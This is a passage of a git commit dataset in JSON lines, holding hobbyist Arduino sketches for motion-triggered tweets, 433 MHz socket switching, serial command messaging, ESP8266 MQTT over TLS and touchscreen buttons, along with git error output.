Serial.print(F(\"\\nAttempting to connect to \")); Serial.println(WLAN_SSID);\n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Failed!\"));\n while(1);\n }\n Serial.println(F(\"Connected!\"));\n \n \/* Wait for DHCP to complete *\/\n Serial.println(F(\"Request DHCP\"));\n while (!cc3000.checkDHCP()) {\n delay(3000); \/\/ ToDo: Insert a DHCP timeout!\n } \n\n \/* Display the IP address DNS, Gateway, etc. *\/ \n while (! displayConnectionDetails()) {\n delay(1000);\n }\n\n ip = 0;\n \/\/ Try looking up the website's IP address\n Serial.print(WEBSITE); Serial.print(F(\" -> \"));\n while (ip == 0) {\n if (! cc3000.getHostByName(WEBSITE, &ip)) {\n Serial.println(F(\"Couldn't resolve!\"));\n }\n delay(1500);\n }\n cc3000.printIPdotsRev(ip);\n \n \/\/ Optional: Do a ping test on the website\n \/*\n Serial.print(F(\"\\n\\rPinging \")); cc3000.printIPdotsRev(ip); Serial.print(\"...\"); \n replies = cc3000.ping(ip, 5);\n Serial.print(replies); Serial.println(F(\" replies\"));\n *\/ \n\n\n \n \/* You need to make sure to clean up after yourself or the CC3000 can freak out *\/\n \/* the next time your try to connect ... *\/\n \/\/Serial.println(F(\"\\n\\nDisconnecting\"));\n \/\/cc3000.disconnect();\n}\n\n\nvoid loop(void) {\n int val = digitalRead(PirPin); \/\/ check motion\n \n if(val == HIGH) { \/\/ check if the input is HIGH\n digitalWrite(LedPin, HIGH); \/\/ turn LED ON\n if(PirState == LOW) {\n Serial.print(\"Motion detected = \");\n Serial.println(MotionCount);\n PirState = HIGH; \/\/ remember state\n MotionCount++;\n }\n } else {\n digitalWrite(LedPin, LOW); \/\/ turn LED OFF\n if(PirState == HIGH) {\n Serial.println(\"Motion ended!\");\n PirState = LOW;\n }\n }\n \n if(MotionCount > 0 && millis() - LastSendingTime > SENDING_INTERVAL) {\n updateTwitterStatus(String(MotionCount) + \" motion detected !!\");\n MotionCount = 0;\n LastSendingTime = millis();\n }\n}\n\n\/**************************************************************************\n @brief Send request to ThingTweet\n**************************************************************************\/\nvoid updateTwitterStatus(String tsData) {\n \/* Try connecting to the website.\n Note: HTTP\/1.1 protocol is used to keep the server from closing the connection before all data is read.\n *\/\n Adafruit_CC3000_Client www = cc3000.connectTCP(ip, 80);\n if (www.connected()) {\n \/\/ make query string, 140 chars max!\n tsData = \"api_key=\"+thingtweetAPIKey+\"&status=\"+tsData;\n char tempChar[156];\n for(int i=0; i<156; i++)\n tempChar[i] = 0x00;\n tsData.toCharArray(tempChar, 155);\n \n www.fastrprint(F(\"POST \/apps\/thingtweet\/1\/statuses\/update HTTP\/1.1\\r\\n\"));\n www.fastrprint(F(\"Host: api.thingspeak.com\\r\\n\"));\n www.fastrprint(F(\"Connection: close\\r\\n\"));\n www.fastrprint(F(\"Content-Type: application\/x-www-form-urlencoded\\r\\n\"));\n www.fastrprint(F(\"Content-Length: \"));\n www.fastrprint(int2str(tsData.length()));\n www.fastrprint(F(\"\\r\\n\\r\\n\"));\n www.fastrprint(tempChar);\n www.println();\n } else {\n Serial.println(F(\"Connection failed\")); \n return;\n }\n\n Serial.println(F(\"-------------------------------------\"));\n \n \/* Read data until either the connection is closed, or the idle timeout is reached. *\/ \n unsigned long lastRead = millis();\n while (www.connected() && (millis() - lastRead < IDLE_TIMEOUT_MS)) {\n while (www.available()) {\n char c = www.read();\n Serial.print(c);\n lastRead = millis();\n }\n }\n www.close();\n Serial.println(F(\"-------------------------------------\"));\n}\n\n\/**************************************************************************\n @brief Begins an SSID scan and prints out all the visible networks\n**************************************************************************\/\nvoid listSSIDResults(void)\n{\n uint32_t index;\n uint8_t valid, rssi, sec;\n char ssidname[33]; \n\n if (!cc3000.startSSIDscan(&index)) {\n Serial.println(F(\"SSID scan failed!\"));\n return;\n }\n\n Serial.print(F(\"Networks found: \")); Serial.println(index);\n Serial.println(F(\"================================================\"));\n\n while (index) {\n index--;\n\n valid = cc3000.getNextSSID(&rssi, &sec, ssidname);\n \n Serial.print(F(\"SSID Name : \")); Serial.print(ssidname);\n Serial.println();\n Serial.print(F(\"RSSI : \"));\n Serial.println(rssi);\n Serial.print(F(\"Security Mode: \"));\n Serial.println(sec);\n Serial.println();\n }\n Serial.println(F(\"================================================\"));\n\n cc3000.stopSSIDscan();\n}\n\n\/**************************************************************************\n @brief Tries to read the IP address and other connection details\n**************************************************************************\/\nbool displayConnectionDetails(void)\n{\n uint32_t ipAddress, netmask, gateway, dhcpserv, dnsserv;\n \n if(!cc3000.getIPAddress(&ipAddress, &netmask, &gateway, &dhcpserv, &dnsserv))\n {\n Serial.println(F(\"Unable to retrieve the IP Address!\\r\\n\"));\n return false;\n }\n else\n {\n Serial.print(F(\"\\nIP Addr: \")); cc3000.printIPdotsRev(ipAddress);\n Serial.print(F(\"\\nNetmask: \")); cc3000.printIPdotsRev(netmask);\n Serial.print(F(\"\\nGateway: \")); cc3000.printIPdotsRev(gateway);\n Serial.print(F(\"\\nDHCPsrv: \")); cc3000.printIPdotsRev(dhcpserv);\n Serial.print(F(\"\\nDNSserv: \")); cc3000.printIPdotsRev(dnsserv);\n Serial.println();\n return true;\n }\n}\n\n\/**************************************************************************\n Utilities\n**************************************************************************\/\nchar _int2str[7];\nchar* int2str( register int i ) {\n register unsigned char L = 1;\n register char c;\n register boolean m = false;\n register char b; \/\/ lower-byte of i\n \/\/ negative\n if ( i < 0 ) {\n _int2str[ 0 ] = '-';\n i = -i;\n }\n else L = 0;\n \/\/ ten-thousands\n if( i > 9999 ) {\n c = i < 20000 ? 1\n : i < 30000 ? 2\n : 3;\n _int2str[ L++ ] = c + 48;\n i -= c * 10000;\n m = true;\n }\n \/\/ thousands\n if( i > 999 ) {\n c = i < 5000\n ? ( i < 3000\n ? ( i < 2000 ? 1 : 2 )\n : i < 4000 ? 3 : 4\n )\n : i < 8000\n ? ( i < 6000\n ? 5\n : i < 7000 ? 6 : 7\n )\n : i < 9000 ? 8 : 9;\n _int2str[ L++ ] = c + 48;\n i -= c * 1000;\n m = true;\n }\n else if( m ) _int2str[ L++ ] = '0';\n \/\/ hundreds\n if( i > 99 ) {\n c = i < 500\n ? ( i < 300\n ? ( i < 200 ? 1 : 2 )\n : i < 400 ? 3 : 4\n )\n : i < 800\n ? ( i < 600\n ? 5\n : i < 700 ? 6 : 7\n )\n : i < 900 ? 8 : 9;\n _int2str[ L++ ] = c + 48;\n i -= c * 100;\n m = true;\n }\n else if( m ) _int2str[ L++ ] = '0';\n \/\/ decades (check on lower byte to optimize code)\n b = char( i );\n if( b > 9 ) {\n c = b < 50\n ? ( b < 30\n ? ( b < 20 ? 1 : 2 )\n : b < 40 ? 3 : 4\n )\n : b < 80\n ? ( i < 60\n ? 5\n : i < 70 ? 6 : 7\n )\n : i < 90 ? 8 : 9;\n _int2str[ L++ ] = c + 48;\n b -= c * 10;\n m = true;\n }\n else if( m ) _int2str[ L++ ] = '0';\n \/\/ last digit\n _int2str[ L++ ] = b + 48;\n \/\/ null terminator\n _int2str[ L ] = 0; \n return _int2str;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'chap11\/secure_tweet\/secure_tweet.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"4e88f353c27ed9aec9b8a48970e06b69d9e9234b","subject":"Add Arduino Sketch","message":"Add Arduino Sketch\n","repos":"sieren\/433Raspino","old_file":"433Sender\/433Sender.ino","new_file":"433Sender\/433Sender.ino","new_contents":"\n\/*\n 433 Sender\n Sends 433 Mhz Codes to power sockets.\n\n Uses rc-switch from https:\/\/github.com\/sui77\/rc-switch\n\n*\/\n\n#include <RCSwitch.h>\n\n\/\/ #define DEBUGLOG \/\/ Uncomment to enable Debug Console output\n#define DATAPIN D0 \/\/ Data PIN on Board\n\nRCSwitch mySwitch = RCSwitch();\nchar systemCode[32] = {0};\nint unitCode = 0;\nint command = -1;\nString recvBuffer = \"\";\n\nvoid setup() {\n\n pinMode(DATAPIN, OUTPUT);\n digitalWrite(DATAPIN, LOW); \/\/ I do this first to avoid any reverse polarity\n\n mySwitch.enableTransmit(DATAPIN);\n mySwitch.setRepeatTransmit(5);\n Serial.setTimeout(50);\n Serial.begin(115200);\n}\n\nvoid loop() {\n\n if (Serial.available() > 0) {\n recvBuffer = Serial.readStringUntil('\\n');\n parseSerial();\n }\n\n#ifdef DEBUGLOG\n if (command > -1) {\n Serial.print(\"System Code: \");\n Serial.println(systemCode);\n Serial.print(\"Unit Code: \");\n Serial.println(unitCode);\n Serial.print(\"Command: \");\n Serial.println(command);\n }\n#endif\n\n switch (command) {\n case 0:\n mySwitch.switchOff(systemCode, unitCode);\n break;\n case 1:\n mySwitch.switchOn(systemCode, unitCode);\n break;\n default:\n command = -1;\n return;\n }\n \n command = -1;\n memset(systemCode, 0, sizeof(systemCode));\n}\n\n\nvoid parseSerial() {\n getValue(recvBuffer, ' ', 0).toCharArray(systemCode, 32);\n unitCode = getValue(recvBuffer, ' ' , 1).toInt();\n command = getValue(recvBuffer, ' ', 2).toInt();\n}\n\n\nString getValue(String data, char separator, int index) {\n int found = 0;\n int strIndex[] = { 0, -1 };\n int maxIndex = data.length() - 1;\n\n for (int i = 0; i <= maxIndex && found <= index; i++) {\n if (data.charAt(i) == separator || i == maxIndex) {\n found++;\n strIndex[0] = strIndex[1] + 1;\n strIndex[1] = (i == maxIndex) ? i + 1 : i;\n }\n }\n return found > index ? data.substring(strIndex[0], strIndex[1]) : \"\";\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '433Sender\/433Sender.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8ea7746527519efd174ee661b787c5d55af1e1f5","subject":"Nice fade code working.","message":"Nice fade code working.\n\nFades from light to light...","repos":"dkadish\/nuit_blanche_ocean,dkadish\/nuit_blanche_ocean,dkadish\/nuit_blanche_ocean","old_file":"nb_ocean\/init.ino","new_file":"nb_ocean\/init.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dkadish\/nuit_blanche_ocean.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0aa605de71eb2ae03cb267ccc2b6c65d6a119122","subject":"Prototype","message":"Prototype\n\n9 buttons communicate with Arduino Yun with I2C\nthen send the button number to lenuage.io with curl\n","repos":"labfab\/vitrines-io,labfab\/vitrines-io,labfab\/vitrines-io,labfab\/vitrines-io","old_file":"PCF8575_i2c_Arduino.ino","new_file":"PCF8575_i2c_Arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/labfab\/vitrines-io.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"ee0d8f8ae8eaafec4d1758fd8ee1e0b2ee9e18fb","subject":"added example code for arduino","message":"added example code for arduino\n","repos":"philippdrebes\/ArduinoProjects","old_file":"StatusMonitor\/statusmonitor\/statusmonitor.ino","new_file":"StatusMonitor\/statusmonitor\/statusmonitor.ino","new_contents":"\/\/ *** SendandReceiveArguments ***\n\n\/\/ This example expands the previous SendandReceive example. The Arduino will now receive multiple \n\/\/ and sent multiple float values. \n\/\/ It adds a demonstration of how to:\n\/\/ - Return multiple types status; It can return an Acknowlegde and Error command\n\/\/ - Receive multiple parameters,\n\/\/ - Send multiple parameters\n\/\/ - Call a function periodically\n\n#include <CmdMessenger.h> \/\/ CmdMessenger\n\n\/\/ Blinking led variables \nunsigned long previousToggleLed = 0; \/\/ Last time the led was toggled\nbool ledState = 0; \/\/ Current state of Led\nconst int kBlinkLed = 13; \/\/ Pin of internal Led\n\n\/\/ Attach a new CmdMessenger object to the default Serial port\nCmdMessenger cmdMessenger = CmdMessenger(Serial);\n\n\/\/ This is the list of recognized commands. These can be commands that can either be sent or received. \n\/\/ In order to receive, attach a callback function to these events\nenum\n{\n \/\/ Commands\n kAcknowledge , \/\/ Command to acknowledge that cmd was received\n kError , \/\/ Command to report errors\n kFloatAddition , \/\/ Command to request add two floats\n kFloatAdditionResult , \/\/ Command to report addition result\n};\n\n\/\/ Commands we send from the PC and want to receive on the Arduino.\n\/\/ We must define a callback function in our Arduino program for each entry in the list below.\n\nvoid attachCommandCallbacks()\n{\n \/\/ Attach callback methods\n cmdMessenger.attach(OnUnknownCommand);\n cmdMessenger.attach(kFloatAddition, OnFloatAddition);\n}\n\n\/\/ ------------------ C A L L B A C K S -----------------------\n\n\/\/ Called when a received command has no attached function\nvoid OnUnknownCommand()\n{\n cmdMessenger.sendCmd(kError,\"Command without attached callback\");\n}\n\n\/\/ Callback function that responds that Arduino is ready (has booted up)\nvoid OnArduinoReady()\n{\n cmdMessenger.sendCmd(kAcknowledge,\"Arduino ready\");\n}\n\n\/\/ Callback function calculates the sum of the two received float values\nvoid OnFloatAddition()\n{\n \/\/ Retreive first parameter as float\n float a = cmdMessenger.readFloatArg();\n \n \/\/ Retreive second parameter as float\n float b = cmdMessenger.readFloatArg();\n \n \/\/ Send back the result of the addition\n \/\/cmdMessenger.sendCmd(kFloatAdditionResult,a + b);\n cmdMessenger.sendCmdStart(kFloatAdditionResult);\n cmdMessenger.sendCmdArg(a+b);\n cmdMessenger.sendCmdArg(a-b);\n cmdMessenger.sendCmdEnd();\n}\n\n\/\/ ------------------ M A I N ----------------------\n\n\/\/ Setup function\nvoid setup() \n{\n \/\/ Listen on serial connection for messages from the pc\n Serial.begin(115200); \n\n \/\/ Adds newline to every command\n cmdMessenger.printLfCr(); \n\n \/\/ Attach my application's user-defined callback methods\n attachCommandCallbacks();\n\n \/\/ Send the status to the PC that says the Arduino has booted\n cmdMessenger.sendCmd(kAcknowledge,\"Arduino has started!\");\n\n \/\/ set pin for blink LED\n pinMode(kBlinkLed, OUTPUT);\n}\n\n\/\/ Returns if it has been more than interval (in ms) ago. Used for periodic actions\nbool hasExpired(unsigned long &prevTime, unsigned long interval) {\n if ( millis() - prevTime > interval ) {\n prevTime = millis();\n return true;\n } else \n return false;\n}\n\n\/\/ Loop function\nvoid loop() \n{\n \/\/ Process incoming serial data, and perform callbacks\n cmdMessenger.feedinSerialData();\n\n \/\/ Toggle LED periodically. If the LED does not toggle every 2000 ms, \n \/\/ this means that cmdMessenger are taking a longer time than this \n if (hasExpired(previousToggleLed,2000)) \/\/ Toggle every 2 secs\n {\n toggleLed(); \n } \n}\n\n\/\/ Toggle led state \nvoid toggleLed()\n{ \n ledState = !ledState;\n digitalWrite(kBlinkLed, ledState?HIGH:LOW);\n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'StatusMonitor\/statusmonitor\/statusmonitor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3e0494f0dfd734907ec3f9a6c1b36080d0e108a5","subject":"mqtt tls1.1, user\/pass pub test","message":"mqtt tls1.1, user\/pass pub test\n\ntodo : verify fingerprint\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_33-esp-12-WiFiClientSecure-mqtt-ssl\/_33-esp-12-WiFiClientSecure-mqtt-ssl.ino","new_file":"_33-esp-12-WiFiClientSecure-mqtt-ssl\/_33-esp-12-WiFiClientSecure-mqtt-ssl.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClientSecure.h>\n#include <PubSubClient.h>\n#include <ESP8266mDNS.h>\n#include <WiFiUdp.h>\n#include <ArduinoOTA.h>\n\n#include \"\/usr\/local\/src\/ap_setting.h\"\n\n#define DEBUG_PRINT 1\n#define DEBUG_PRINT 1\n\n#define MQTT_TEST_SERVER { 192, 168, 10, 144 }\n#define MQTT_TEST_USER \"test1\"\n#define MQTT_TEST_PASS \"test123\"\n\n\/\/ *****************************\nconst char* ssid = WIFI_SSID;\nconst char* password = WIFI_PASSWORD;\nconst char* otapassword = OTA_PASSWORD;\n\nconst char* mqttuser = MQTT_TEST_USER;\nconst char* mqttpass = MQTT_TEST_PASS;\n\nIPAddress mqtt_server = MQTT_TEST_SERVER;\nconst char* fingerprint = \"70 B2 BF 0D 4E 2A 54 FC DD C3 75 03 CD 42 20 71 9C 4A 97 37\";\n\/\/-------------------------------\nchar* topic = \"pubtest\";\n\nString clientName;\n\nlong lastReconnectAttempt = 0;\nlong lastMsg = 0;\nint test_para = 2000;\nunsigned long startMills;\n\n\/\/------------------------------\nWiFiClientSecure wifiClient;\n\/\/WiFiClient wifiClient;\nPubSubClient client(mqtt_server, 8883, wifiClient);\n\n\/\/----------------------\nString macToStr(const uint8_t* mac);\nvoid sendmqttMsg(char* topictosend, String payload);\n\n\n\/* to do verifytls\nvoid verifytls() {\n \/\/ Use WiFiClientSecure class to create TLS connection\n Serial.print(\"connecting to \");\n Serial.println(mqtt_server);\n if (!wifiClient.connect(mqtt_server, 8883)) {\n Serial.println(\"connection failed\");\n return;\n }\n\n if (wifiClient.verify(fingerprint, mqtt_server)) {\n Serial.println(\"certificate matches\");\n } else {\n Serial.println(\"certificate doesn't match\");\n }\n}\n*\/\n \n\/\/-----------------------\nboolean reconnect()\n{\n if (!client.connected()) {\n if (client.connect((char*) clientName.c_str(), mqttuser, mqttpass)) {\n if (DEBUG_PRINT) {\n Serial.println(\"===> mqtt connected\");\n }\n } else {\n if (DEBUG_PRINT) {\n Serial.print(\"---> mqtt failed, rc=\");\n Serial.println(client.state());\n }\n }\n }\n return client.connected();\n}\n\nvoid wifi_connect()\n{\n if (WiFi.status() != WL_CONNECTED) {\n \/\/ WIFI\n if (DEBUG_PRINT) {\n Serial.println();\n Serial.print(\"===> WIFI ---> Connecting to \");\n Serial.println(ssid);\n }\n delay(10);\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n\n int Attempt = 0;\n while (WiFi.status() != WL_CONNECTED) {\n if (DEBUG_PRINT) {\n Serial.print(\". \");\n Serial.print(Attempt);\n }\n delay(100);\n Attempt++;\n if (Attempt == 150)\n {\n if (DEBUG_PRINT) {\n Serial.println();\n Serial.println(\"-----> Could not connect to WIFI\");\n }\n ESP.restart();\n delay(200);\n }\n\n }\n\n if (DEBUG_PRINT) {\n Serial.println();\n Serial.print(\"===> WiFi connected\");\n Serial.print(\" ------> IP address: \");\n Serial.println(WiFi.localIP());\n }\n }\n}\n\nvoid setup()\n{\n startMills = millis();\n\n if (DEBUG_PRINT) {\n Serial.begin(115200);\n }\n\n wifi_connect();\n\n clientName += \"esp8266-\";\n uint8_t mac[6];\n WiFi.macAddress(mac);\n clientName += macToStr(mac);\n clientName += \"-\";\n clientName += String(micros() & 0xff, 16);\n\n \/\/OTA\n \/\/ Port defaults to 8266\n \/\/ArduinoOTA.setPort(8266);\n\n \/\/ Hostname defaults to esp8266-[ChipID]\n ArduinoOTA.setHostname(\"esp-test\");\n\n\n \/\/ No authentication by default\n ArduinoOTA.setPassword(otapassword);\n\n ArduinoOTA.onStart([]() {\n \/\/Serial.println(\"Start\");\n });\n ArduinoOTA.onEnd([]() {\n \/\/Serial.println(\"\\nEnd\");\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n \/\/Serial.printf(\"Progress: %u%%\\r\", (progress \/ (total \/ 100)));\n });\n ArduinoOTA.onError([](ota_error_t error) {\n ESP.restart();\n \/*\n if (error == OTA_AUTH_ERROR) abort();\n else if (error == OTA_BEGIN_ERROR) abort();\n else if (error == OTA_CONNECT_ERROR) abort();\n else if (error == OTA_RECEIVE_ERROR) abort();\n else if (error == OTA_END_ERROR) abort();\n *\/\n });\n\n ArduinoOTA.begin();\n}\n\nvoid loop()\n{\n if (WiFi.status() == WL_CONNECTED) {\n if (!client.connected()) {\n long now = millis();\n if (now - lastReconnectAttempt > 2000) {\n lastReconnectAttempt = now;\n if (reconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n } else {\n long now = millis();\n if (now - lastMsg > test_para) {\n lastMsg = now;\n String payload = \"{\\\"startMills\\\":\";\n payload += (millis() - startMills);\n payload += \"}\";\n sendmqttMsg(topic, payload);\n }\n client.loop();\n ArduinoOTA.handle();\n }\n } else {\n wifi_connect();\n }\n\n}\n\nvoid sendmqttMsg(char* topictosend, String payload)\n{\n\n if (client.connected()) {\n if (DEBUG_PRINT) {\n Serial.print(\"Sending payload: \");\n Serial.print(payload);\n }\n\n unsigned int msg_length = payload.length();\n\n if (DEBUG_PRINT) {\n Serial.print(\" length: \");\n Serial.println(msg_length);\n }\n\n byte* p = (byte*)malloc(msg_length);\n memcpy(p, (char*) payload.c_str(), msg_length);\n\n if ( client.publish(topictosend, p, msg_length)) {\n if (DEBUG_PRINT) {\n Serial.println(\"Publish ok\");\n }\n free(p);\n \/\/return 1;\n } else {\n if (DEBUG_PRINT) {\n Serial.println(\"Publish failed\");\n }\n free(p);\n \/\/return 0;\n }\n }\n}\n\nString macToStr(const uint8_t* mac)\n{\n String result;\n for (int i = 0; i < 6; ++i) {\n result += String(mac[i], 16);\n if (i < 5)\n result += ':';\n }\n return result;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_33-esp-12-WiFiClientSecure-mqtt-ssl\/_33-esp-12-WiFiClientSecure-mqtt-ssl.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"a9ef19fb6e7890506c01ec3c4f3da94b059933f3","subject":"Basic utility for printing raw RXed packets over serial using the REV10","message":"Basic utility for printing raw RXed packets over serial using the REV10","repos":"opentrv\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink","old_file":"dev\/utils\/radioSniffer\/radioSniffer.ino","new_file":"dev\/utils\/radioSniffer\/radioSniffer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ac37bfe018903ba7c489611b2dadf908a4bb720a","subject":"Minimum example sketch to get working with the library","message":"Minimum example sketch to get working with the library\n","repos":"platisd\/smartcar_core","old_file":"examples\/BareMinimum\/BareMinimum.ino","new_file":"examples\/BareMinimum\/BareMinimum.ino","new_contents":"#include <AFMotor.h>\n#include <Smartcar.h>\n#include <Wire.h>\n#include <HMC5883L.h>\n\nSmartcar simeon;\n\nvoid setup(){\n simeon.begin();\n \/* put your setup code here to run once *\/\n}\nvoid loop(){\n \/* your main loop code here to run repeatedly *\/\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/BareMinimum\/BareMinimum.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"3770a4b50d0cc74d303771455a3a73c00033b037","subject":"Lunokhod buttons","message":"Lunokhod buttons\n","repos":"roboter\/Lunohod","old_file":"Lunohod_display\/Lunohod_display.ino","new_file":"Lunohod_display\/Lunohod_display.ino","new_contents":"\/\/ UTouch_ButtonTest (C)2010-2014 Henning Karlsen\n\/\/ web: http:\/\/www.henningkarlsen.com\/electronics\n\/\/\n\/\/ This program is a quick demo of how create and use buttons.\n\/\/\n\/\/ This program requires the UTFT library.\n\/\/\n\/\/ It is assumed that the display module is connected to an\n\/\/ appropriate shield or that you know how to change the pin \n\/\/ numbers in the setup.\n\/\/\n\n#include <UTFT.h>\n#include <UTouch.h>\n\n\/\/ Initialize display\n\/\/ ------------------\n\/\/ Set the pins to the correct ones for your development board\n\/\/ -----------------------------------------------------------\n\/\/ Standard Arduino Uno\/2009 Shield : <display model>,19,18,17,16\n\/\/ Standard Arduino Mega\/Due shield : <display model>,38,39,40,41\n\/\/ CTE TFT LCD\/SD Shield for Arduino Due : <display model>,25,26,27,28\n\/\/ Teensy 3.x TFT Test Board : <display model>,23,22, 3, 4\n\/\/ ElecHouse TFT LCD\/SD Shield for Arduino Due : <display model>,22,23,31,33\n\/\/\n\/\/ Remember to change the model parameter to suit your display module!\nUTFT myGLCD(ITDB32WC,38,39,40,41);\n\n\/\/ Initialize touchscreen\n\/\/ ----------------------\n\/\/ Set the pins to the correct ones for your development board\n\/\/ -----------------------------------------------------------\n\/\/ Standard Arduino Uno\/2009 Shield : 15,10,14, 9, 8\n\/\/ Standard Arduino Mega\/Due shield : 6, 5, 4, 3, 2\n\/\/ CTE TFT LCD\/SD Shield for Arduino Due : 6, 5, 4, 3, 2\n\/\/ Teensy 3.x TFT Test Board : 26,31,27,28,29\n\/\/ ElecHouse TFT LCD\/SD Shield for Arduino Due : 25,26,27,29,30\n\/\/\nUTouch myTouch( 6, 5, 4, 3, 2);\n\n\/\/ Declare which fonts we will be using\nextern uint8_t BigFont[];\n\nint x, y;\n\/\/char stCurrent[20]=\"\";\n\/\/int stCurrentLen=0;\n\/\/char stLast[20]=\"\";\n\n\/*************************\n** Custom functions **\n*************************\/\n\nint botton_h = 60;\nint botton_w = 120;\nint padding= 10;\n\nvoid drawButton(char *text, unsigned int position_x, unsigned int position_y)\n{\n\/\/ myGLCD.drawRoundRect (padding+(x*botton_w), 10, 60+(x*60), 60);\n \/\/ for (x=0; x<5; x++)\n \/\/{\n \n myGLCD.setColor(0, 0, 255); \/\/ blue\n int x1 = padding * (padding * (position_x + 1)) + position_x * botton_h;\n int y1 = 240 - padding - botton_w * position_y;\n int x2 = padding + botton_h * (position_x + 1);\n int y2 = 240 - (padding * (position_x + 1)) - botton_w * (position_y + 1);\n myGLCD.fillRoundRect (x1, y1, x2, y2);\n \/\/(400-padding, 240-10, 400-padding-botton_h, 240-10-botton_w);\n myGLCD.setColor(255, 255, 255); \/\/white\n myGLCD.drawRoundRect (0, 0, 10, 10); \/\/ 0x0\n myGLCD.drawRoundRect (x1, y1, x2, y2);\n\/\/ myGLCD.printNumI(x+1, 27+(x*60), 27, 90);\n myGLCD.print(text, 27+x1, y1-27, 270);\n\/\/ }\n}\n\nvoid drawButtons()\n{\n\/\/ Draw the upper row of buttons\n for (x=0; x<5; x++)\n {\n myGLCD.setColor(0, 0, 255);\n myGLCD.fillRoundRect (10+(x*60), 10, 60+(x*60), 60);\n myGLCD.setColor(255, 255, 255);\n myGLCD.drawRoundRect (10+(x*60), 10, 60+(x*60), 60);\n myGLCD.printNumI(x+1, 27+(x*60), 27);\n }\n\/\/ Draw the center row of buttons\n for (x=0; x<5; x++)\n {\n myGLCD.setColor(0, 0, 255);\n myGLCD.fillRoundRect (10+(x*60), 70, 60+(x*60), 120);\n myGLCD.setColor(255, 255, 255);\n myGLCD.drawRoundRect (10+(x*60), 70, 60+(x*60), 120);\n if (x<4)\n myGLCD.printNumI(x+6, 27+(x*60), 87);\n }\n myGLCD.print(\"0\", 267, 87);\n\/\/ Draw the lower row of buttons\n myGLCD.setColor(0, 0, 255);\n myGLCD.fillRoundRect (10, 130, 150, 180);\n myGLCD.setColor(255, 255, 255);\n myGLCD.drawRoundRect (10, 130, 150, 180);\n myGLCD.print(\"Clear\", 40, 147);\n myGLCD.setColor(0, 0, 255);\n myGLCD.fillRoundRect (160, 130, 300, 180);\n myGLCD.setColor(255, 255, 255);\n myGLCD.drawRoundRect (160, 130, 300, 180);\n myGLCD.print(\"Enter\", 190, 147);\n myGLCD.setBackColor (0, 0, 0);\n}\n\n\/\/void updateStr(int val)\n\/\/{\n\/\/ if (stCurrentLen<20)\n\/\/ {\n\/\/ stCurrent[stCurrentLen]=val;\n\/\/ stCurrent[stCurrentLen+1]='\\0';\n\/\/ stCurrentLen++;\n\/\/ myGLCD.setColor(0, 255, 0);\n\/\/ myGLCD.print(stCurrent, LEFT, 224);\n\/\/ }\n\/\/ else\n\/\/ {\n\/\/ myGLCD.setColor(255, 0, 0);\n\/\/ myGLCD.print(\"BUFFER FULL!\", CENTER, 192);\n\/\/ delay(500);\n\/\/ myGLCD.print(\" \", CENTER, 192);\n\/\/ delay(500);\n\/\/ myGLCD.print(\"BUFFER FULL!\", CENTER, 192);\n\/\/ delay(500);\n\/\/ myGLCD.print(\" \", CENTER, 192);\n\/\/ myGLCD.setColor(0, 255, 0);\n\/\/ }\n\/\/}\n\/\/\n\/\/\/\/ Draw a red frame while a button is touched\n\/\/void waitForIt(int x1, int y1, int x2, int y2)\n\/\/{\n\/\/ myGLCD.setColor(255, 0, 0);\n\/\/ myGLCD.drawRoundRect (x1, y1, x2, y2);\n\/\/ while (myTouch.dataAvailable())\n\/\/ myTouch.read();\n\/\/ myGLCD.setColor(255, 255, 255);\n\/\/ myGLCD.drawRoundRect (x1, y1, x2, y2);\n\/\/}\n\n\/*************************\n** Required functions **\n*************************\/\n\nvoid setup()\n{\n\/\/ Initial setup\n myGLCD.InitLCD();\n myGLCD.clrScr();\n\n myTouch.InitTouch();\n myTouch.setPrecision(PREC_MEDIUM);\n\n myGLCD.setFont(BigFont);\n myGLCD.setBackColor(0, 0, 255);\n drawButton(\"test\",0,0);\n drawButton(\"Olja\",1,0);\n drawButton(\"FORWARD\",2,0);\n\/\/ drawButtons(); \n\/\/ myGLCD.drawLine(0,0,400,240);\n}\n\n\n\nvoid 